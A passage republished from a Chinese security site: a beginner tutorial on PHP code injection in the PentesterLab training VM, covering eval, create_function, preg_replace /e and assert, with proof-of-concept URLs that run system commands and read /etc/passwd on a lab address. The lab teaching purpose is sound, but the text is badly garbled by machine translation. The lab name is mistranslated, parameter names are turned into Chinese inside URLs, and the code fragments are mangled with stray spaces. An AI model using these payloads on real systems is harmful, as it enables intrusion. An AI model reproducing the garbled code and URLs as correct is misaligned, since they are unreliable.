*作者:婷兒,本文屬于FreeBuf原創(chuàng)獲獎(jiǎng)方案,未經(jīng)許可禁止轉(zhuǎn)載。
戊烯實(shí)驗(yàn)室簡(jiǎn)介
針對(duì)pentester的Web是國(guó)外安全研究人員開(kāi)發(fā)的滲透測(cè)試平臺(tái)。
該平臺(tái)包含的主要漏洞如下:
代碼注入(代碼注入)
命令注入(命令行注入)
XSS(跨站點(diǎn)腳本)
sql注入(SQL注入)
文件包含(文件包含)
LDAP攻擊(LDAP攻擊)
文件上傳(文件上傳)
可擴(kuò)展標(biāo)記語(yǔ)言攻擊
個(gè)人感覺(jué)不錯(cuò),但是國(guó)內(nèi)基本沒(méi)有教程,官網(wǎng)的教程也有點(diǎn)貴,打算在pentesterLab上寫(xiě)全套教程。PentesterLab上的web漏洞感覺(jué)比較典型,比較基礎(chǔ),非常適合新手。因?yàn)檫@個(gè)教程是給新手看的,不要覺(jué)得我有些地方重復(fù),呵呵。
PentesterLab安裝
安裝方法很簡(jiǎn)單。官方網(wǎng)站下載ios映像并直接安裝到虛擬機(jī)中。
官網(wǎng)地址&:下載地址
代碼注入(代碼注入)
本文介紹了代碼注入的內(nèi)容,其他模塊教程將在后面給出。
php代碼注入漏洞的主要原因是過(guò)濾不嚴(yán)格,導(dǎo)致惡意代碼被執(zhí)行。這個(gè)漏洞主要是由于函數(shù)的參數(shù)過(guò)濾不嚴(yán)謹(jǐn)造成的,嚴(yán)重的話(huà)可以直接寫(xiě)入webshell。
示例1
后端代碼
";eval($ str);?>。
代碼解釋
Php將獲取參數(shù)拼接到$str變量中,然后eval()函數(shù)執(zhí)行php語(yǔ)句。沒(méi)有過(guò)濾,只要最終語(yǔ)法正確,就可以執(zhí)行。
注意:注釋的代碼是我自己添加的,也可以自己添加,比較直觀(guān)。默認(rèn)情況下會(huì)添加以下代碼。
不知道大家有沒(méi)有注意到這里。如果你構(gòu)造的語(yǔ)句有問(wèn)題,網(wǎng)頁(yè)會(huì)報(bào)錯(cuò)。錯(cuò)誤信息如下:
分析錯(cuò)誤:語(yǔ)法錯(cuò)誤,意外的' & lt'in/var/www/codeexec/example 1 . PHP(13):eval()' d第1行代碼
暴露了當(dāng)前php文件的絕對(duì)路徑和錯(cuò)誤報(bào)告功能,這也是一個(gè)有用的信息。
利用模式
1.執(zhí)行系統(tǒng)命令
POC:http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名稱(chēng)= % 22 . system(% 27ls % 27);//注意:我敲黑板了。`//`這是php中的注釋符號(hào)。請(qǐng)?jiān)u論以下陳述。http://192 . 168 . 199 . 110/code exec/example 1 . PHP?名稱(chēng)= % 22 . system(% 27ls % 27);%20$a=%22注意:這沒(méi)問(wèn)題,`;`表示單個(gè)語(yǔ)句,后面無(wú)用的值賦給一個(gè)變量,起到注釋的作用。在這個(gè)sql注入中,用和' 1' = '1來(lái)結(jié)束單引號(hào)也是同樣的原因。以上返回頁(yè)面:回顯“你好”。系統(tǒng)(' ls ');$a= "??!!";example1.php example2.php example3.php example4.php index.html你好index.html http://192 . 168 . 199 . 110/codeexec/example 1 . PHP?名稱(chēng)= % 22 . system(' cat/etc/passwd ');//檢查系統(tǒng)密鑰文件
再敲黑板
有些新生可能會(huì)問(wèn)echo“你好”。系統(tǒng)(' ls ');這個(gè)語(yǔ)句中的點(diǎn)是字符串拼接。不應(yīng)該返回Hello+ls的結(jié)果嗎?為什么這里的返回值不是這樣。在這里,我給新生簡(jiǎn)單介紹一下科普。
舉個(gè)栗子:
echo ' 1+3 = . 1+3。輸出結(jié)果是4
echo ' 1+3 = . 3+1,輸出結(jié)果為2
如上圖所示,php會(huì)先拼接字符串,然后強(qiáng)制它們?yōu)閕nt,然后計(jì)算輸出結(jié)果。
拼接字符串得到1+3=1,強(qiáng)制轉(zhuǎn)換int類(lèi)型得到1,然后計(jì)算1+3得到4,那么輸出結(jié)果就是4,和上面差不多,不要深究這方面,有輸出就好。
例2
后端代碼
name = $ name$this->。age = $ age$this->。id = $ id} } require_once('../header . PHP ');require_once('../sqli/db . PHP ');$sql = "SELECT * FROM用戶(hù)";$ order = $ _ GET[" order "];$ result = MySQL _ query($ SQL);if($ result){ while($ row = MySQL _ fetch _ assoc($ result)){ $ users[]= new User($ row[' id '],$row['name'],$ row[' age ']);} if(isset($ order)){ usort($ users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$訂單。,$b->'。$訂單。');'));} } ?>。id名稱(chēng)年齡";回聲" "。$ user->;id。";回聲" "。$ user->;姓名?!?;回聲" "。$ user->;年齡?!?;echo} echo要求../footer . PHP ';?>。
代碼分析
Usort()使用用戶(hù)定義的比較函數(shù)對(duì)數(shù)組進(jìn)行排序。語(yǔ)法:usort(array,my function);
Usort()經(jīng)常與函數(shù)create_function一起使用,根據(jù)用戶(hù)控制的信息動(dòng)態(tài)生成“分類(lèi)”函數(shù)。如果Web應(yīng)用程序缺乏有效的過(guò)濾和驗(yàn)證,可能會(huì)導(dǎo)致代碼執(zhí)行。
所以我們關(guān)注這一行代碼:usort ($ users,create _ function ('$ a,$ b ',' return strcmp ($ a-> ')。$訂單。,$b->'。$訂單。');'));可能新同學(xué)也說(shuō)聽(tīng)不懂。別急,先舉個(gè)例子:
Craete _ function ('$ a ',' echo ' hello '。$ a)實(shí)際上相當(dāng)于:
函數(shù)Hello($a) { echo 'Hello。$ a;}
前面部分是函數(shù)變量部分,后面部分是代碼部分。前面的變量被傳遞給后面的參數(shù)。
我們來(lái)看一個(gè)由淺入深的官方例子:
看起來(lái)一樣嗎?是將前面的變量帶入下面的代碼中執(zhí)行。
然后讓我們回頭看看源代碼:
if (isset($order)) { usort($users,create_function('$a,$b ',' return str CMP($ a-& gt;'。$訂單。,$b->'。$訂單。');'));}
您可以看到,這里唯一可控的變量是$order,我們自然會(huì)想到,我們可以關(guān)閉前面的語(yǔ)句,插入我們想要執(zhí)行的代碼,就像sql注入一樣。
因此,嘗試按如下方式關(guān)閉結(jié)構(gòu):
?order = id}//錯(cuò)誤報(bào)告parseerror:語(yǔ)法錯(cuò)誤,意外的“;”我們可能遺漏了一個(gè)或多個(gè)括號(hào)。
?order = id);}//WARNING WARNING: strcmp()期望精確的2個(gè)參數(shù),1Given不是語(yǔ)法錯(cuò)誤,所以這應(yīng)該是可行的。
?order = id));}//繼續(xù)添加圓括號(hào),并報(bào)告錯(cuò)誤:parse error:語(yǔ)法錯(cuò)誤,意外的')'應(yīng)該是多個(gè)圓括號(hào)的原因。
我們知道如何關(guān)閉上面的代碼,并添加我們想要執(zhí)行的代碼。警告只是警告,代碼還是會(huì)執(zhí)行。
使用方法
poc:
看phpinfo()http://192 . 168 . 199 . 110/code exec/example 2 . PHP?order = id);} phpinfo();//檢查敏感文件passwd http://192 . 168 . 199 . 110/codeexec/example 2 . PHP?order = id);}系統(tǒng)(cat % 20/etc/passwd);//示例3
后端代碼
代碼分析
Preg_replace()函數(shù):
混合preg_replace(混合$模式,混合$替換,混合$主題[,int $limit = -1 [,int & amp$count ]])搜索主題中與模式匹配的部分,并用替換替換它。
參數(shù)描述:
$pattern:要搜索的模式,可以是字符串或字符串?dāng)?shù)組。
$replacement:用于替換的字符串或字符串?dāng)?shù)組。
$subject:要搜索替換的目標(biāo)字符串或字符串?dāng)?shù)組。
$limit:可選,每個(gè)模式的每個(gè)主題字符串的最大可替換次數(shù)。默認(rèn)值為-1(無(wú)限制)。
$count:可選,執(zhí)行替換的次數(shù)。
這里的主要功能是匹配基參數(shù)中是否有模式,并用new替換。
按如下方式打開(kāi)連接url
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = hacker & amppattern =/lamer/& amp;base = Hello % 20lamer
帶入preg_replace()函數(shù)的三個(gè)參數(shù)是可控的,那么如何使用呢?別急,先明白這個(gè):
/e修飾符使preg_replace()以php代碼的形式執(zhí)行替換參數(shù),前提是主題中存在模式匹配。
使用方法
了解了以上內(nèi)容,我們?cè)趐attern參數(shù)中添加/e修飾符,使模式在主題中匹配,并將替換改為phpinfo()。
按照以下方式構(gòu)建概念驗(yàn)證:
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = phpinfo()& amp;pattern =/lamer/e & amp;base = Hello % 20lamer
也可以執(zhí)行系統(tǒng)功能。poc如下:
http://192 . 168 . 199 . 110/code exec/example 3 . PHP?new = system(' ls ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new = system(' whoami ')& amp;pattern =/lamer/e & amp;base = Hello % 20 Amer http://192 . 168 . 199 . 110/codeexec/example 3 . PHP?new =系統(tǒng)(cat /etc/passwd)和amppattern =/lamer/e & amp;base = Hello % 20lamer
注意:PHP 5.5版以上,preg_replace函數(shù)中的修飾符/e被放棄,改為preg_replace _callback
例4
后端代碼
代碼分析
看到assert函數(shù)時(shí)要小心。斷言函數(shù)和評(píng)估函數(shù)都是一句話(huà)的后門(mén)。區(qū)別在于eval函數(shù)中的參數(shù)是字符串,assert函數(shù)中的參數(shù)是表達(dá)式或函數(shù)。
trim()函數(shù)刪除字符串兩邊的空白色字符或其他預(yù)定義字符。
函數(shù)的作用是:將字符串轉(zhuǎn)換成html實(shí)體。
提示:加單引號(hào)是報(bào)表報(bào)錯(cuò)時(shí)的絕對(duì)路徑和報(bào)錯(cuò)功能。錯(cuò)誤報(bào)告如下:
解析錯(cuò)誤:語(yǔ)法錯(cuò)誤,在/var/www/codeexec/example4.php(4)中出現(xiàn)意外的T _ ENCAFODED _ AND _ GASPACES:在第1行中斷言代碼可捕獲的致命錯(cuò)誤:assert():評(píng)估代碼失敗:在/var/www/code exec/example 4 . PHP的第4行中出現(xiàn)“hacker”
使用方法
嘗試構(gòu)造相應(yīng)的語(yǔ)句,使上述語(yǔ)法正確,添加單引號(hào)來(lái)報(bào)告錯(cuò)誤,使用參數(shù)hacker“.”,語(yǔ)法正確,并且沒(méi)有報(bào)告錯(cuò)誤。然后嘗試構(gòu)造phpinfo(),得到poc如下:
http://192 . 168 . 199 . 110/code exec/example 4 . PHP?' name=hacker '。' phpinfo(),'
找到正確的語(yǔ)法關(guān)閉模式后,我們還可以查看如上的passwd文件,poc:
http://192 . 168 . 199 . 110/code exec/example 4 . PHP?名稱(chēng)總結(jié)=黑客’?!跋到y(tǒng)(cat/etc/passwd)?!?/p>
有人可能會(huì)問(wèn)代碼注入和命令行注入有什么區(qū)別。個(gè)人感覺(jué)兩者聯(lián)系很大,代碼注入涉及面很廣。任何由于過(guò)濾不嚴(yán)或邏輯問(wèn)題而可以插入的惡意代碼都屬于代碼注入。但是命令注入由于系統(tǒng)功能過(guò)濾不嚴(yán)格,僅限于系統(tǒng)命令的實(shí)現(xiàn)。
簡(jiǎn)而言之,代碼注入主要是執(zhí)行php代碼,而命令注入主要是執(zhí)行系統(tǒng)命令。
還有一點(diǎn)不知道大家有沒(méi)有注意到,有時(shí)候頁(yè)面錯(cuò)誤信息真的能給你提供很多有用的信息。
下次更新到Command注入,因?yàn)檫@兩個(gè)很容易類(lèi)比學(xué)習(xí)。
最后,如果你有更好的實(shí)現(xiàn)方法或者操作,或者我有需要改進(jìn)的地方,歡迎大牛指出。如果有新同學(xué)有什么問(wèn)題,歡迎在評(píng)論區(qū)隨意提問(wèn)。謝謝你。
*作者:婷兒,本文屬于FreeBuf原創(chuàng)獲獎(jiǎng)方案,未經(jīng)許可禁止轉(zhuǎn)載。
1.《代碼教程 PentesterLab新手教程(一):代碼注入》援引自互聯(lián)網(wǎng),旨在傳遞更多網(wǎng)絡(luò)信息知識(shí),僅代表作者本人觀(guān)點(diǎn),與本網(wǎng)站無(wú)關(guān),侵刪請(qǐng)聯(lián)系頁(yè)腳下方聯(lián)系方式。
2.《代碼教程 PentesterLab新手教程(一):代碼注入》僅供讀者參考,本網(wǎng)站未對(duì)該內(nèi)容進(jìn)行證實(shí),對(duì)其原創(chuàng)性、真實(shí)性、完整性、及時(shí)性不作任何保證。
3.文章轉(zhuǎn)載時(shí)請(qǐng)保留本站內(nèi)容來(lái)源地址,http://f99ss.com/caijing/798694.html